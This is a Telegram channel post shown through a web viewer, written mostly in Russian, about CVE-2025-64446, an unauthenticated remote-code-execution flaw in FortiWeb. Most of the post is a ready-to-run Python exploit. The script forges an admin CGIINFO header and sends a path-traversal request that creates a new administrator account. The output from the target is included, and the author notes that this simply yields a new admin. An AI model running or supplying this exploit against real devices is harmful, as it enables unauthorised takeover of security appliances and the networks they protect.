TGViewer
Proxy Bar Proxy Bar @proxy_bar · 21.5K subscribers
Post #2878 14.2K
CVE-2025-64446 FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass
*
Ну то есть исходя из ЭТОГО
можно получить такое:
python3 - <<'PY'
import base64, json, subprocess
header = base64.b64encode(json.dumps({
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}).encode()).decode()

payload = json.dumps({
"data": {
"q_type": 1,
"name": "note2",
"access-profile": "prof_admin",
"password": "note2",
"comment": "automated RCE"
}
})

cmd = [
"curl", "--path-as-is", "-sk",
"-H", f"CGIINFO: {header}",
"-H", "Content-Type: application/json",
"--data", payload,
"https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../cgi-bin/fwbcgi"
]
print(subprocess.run(cmd, capture_output=True, text=True).stdout)
PY

Output from the box:

{ "results": { "name": "note2", "access-profile": "prof_admin", ... } }


То есть просто получаем нового админа
  • 🔥 40
  • 👍 4
More from @proxy_bar
  1. Oct 7, 2026Интересное дело ! * ransom note sent
  2. Oct 7, 2026OSCP+ REPOS
  3. Oct 6, 2026LibreOffice and OpenOffice Flaws Let Malicious Spreadsheets Run Code Without Macro Warning…
  4. Oct 5, 2026WordPress libheif RCE * research * Proof-of-concept code И ведь не плохо же
  5. Sep 30, 2026Закончилось Всем спасибо Организаторам за то что учли и исправили косяки прошлого года, fr…
  6. Sep 30, 2026После обеда доклады продолжаются !!!
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →